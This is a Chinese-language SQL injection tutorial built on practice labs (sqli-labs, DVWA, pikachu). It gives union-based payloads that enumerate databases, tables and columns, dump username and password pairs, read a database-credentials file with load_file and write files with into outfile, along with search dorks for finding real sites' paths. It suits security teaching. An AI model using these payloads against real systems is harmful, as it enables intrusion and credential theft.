文章目录

引入
在MYSQL5.0以上版本中,mysql存在一个自带数据库名为information_schema,它是一个存储记录所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或列名信息。
数据库中符号"."代表下一级,如security.users表示security数据库下的users表名

查看information_schema里的所有表 show tables;

columns表
select * from columns\G;
table_schema存储的是数据库的名称

tables表

schemata表
schema_name字段存放数据库的名字

information_schema.tables #记录所有表名信息的表
information_schema.columns #记录所有列名信息的表
table_name #表名
column_name #列名
table_schema #数据库名
函数
database() #数据库名
version() #数据库版本
user() #用户名
以sqli-labs靶场为例
1、判断注入类型
?id=1 and 1=1 --+
?id=1 and 1=2 --+


注入类型为数字型
2、判断列数
?id=1 order by 3--+
?id=1 order by 4--+ -- 报错

3、判断显示位
?id=-1 union select 1,2,3 --+

第二位和第三位为显示位
4、获取所有数据库
?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --+

group_concat这个函数默认是跟group by 分组来一起使用的
如果没有使用group by语句,那么默认就是一个组,会显示所有的内容
详见博客
5、获取当前数据库
?id=-1 union select 1,2,database() --+

6、获取用户名和数据库版本
?id=-1 union select 1,version(),user() --+
可以看到当前是以root用户登录的数据库,数据库版本是5.7.26

跨表查询:↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓
7、查看指定dvwa数据库下的所有表名信息
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='dvwa' --+

7、查看指定pikachu数据库下表名为users的所有列信息
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='pikachu' and table_name='users'--+

查看数据库验证是否正确

8、查询pikachu库下的users表的数据
?id=-1 union select 1,username,password from pikachu.users--+

?id=-1 union select 1,2,group_concat(username,password) from pikachu.users--+

?id=-1 union select 1,group_concat(username),group_concat(password) from pikachu.users--+

?id=-1 union select 1,group_concat(concat_ws("-",username,password)),3 from pikachu.users--+
concat_ws将多个字符串连接成一个字符串,第一个参数指定分隔符,分隔符不能为null,如果为null,则返回结果为null

concat_ws函数和concat函数的区别
路径获取常见方法
1、报错显示
浏览器输入框inurl:edu.cn warning

2、遗留文件 inurl:phpinfo.php
3、漏洞报错
4、平台配置文件
5、爆破
文件读取函数
load_file() #读取函数
# select load_file('c:/xx.txt');
load_file读取敏感信息

1、读取指定文件内容
http://192.168.80.139/sqli/Less-3/?id=-1') union select 1,load_file('c:/test/demo.txt'),3--+


2、读取网站数据库配置文件
C:\software\phpstudy_pro\WWW\sqli\sql-connections\db-creds.inc

http://192.168.80.139/sqli/Less-3/?id=-1') union select 1,load_file('C:\\software\\phpstudy_pro\\WWW\\sqli\\sql-connections\\db-creds.inc'),3--+
右键查看网页源代码

文件写入函数
into outfile 或者 into dumpfile #写入函数
#select 'x' into outfile 'd:/www.txt';
防注入
魔术引号
内置函数 int

自定义关键字:select

WAF防护软件
数字型注入(post)
id=1 or 1=1

字符型注入(get)
直接输入1' or 1=1#

或者用bp抓包,构造闭合
name=1'or'1'='1

搜索型注入
搜索框中输入a

sql语句
select from 表名 where username like '%a%';
构造闭合a%' or 1=1# #号在数据库中表示注释
select from 表名 where username like '%a%' or 1=1#%';

xx型注入
就是猜闭合罢了
看源代码
vim /var/www/html/pikachu/vul/sqli/sqli_x.php

select id,email from member where username=('$name');
构造闭合xx') or 1=1#
select id,email from member where username=('xx') or 1=1#');










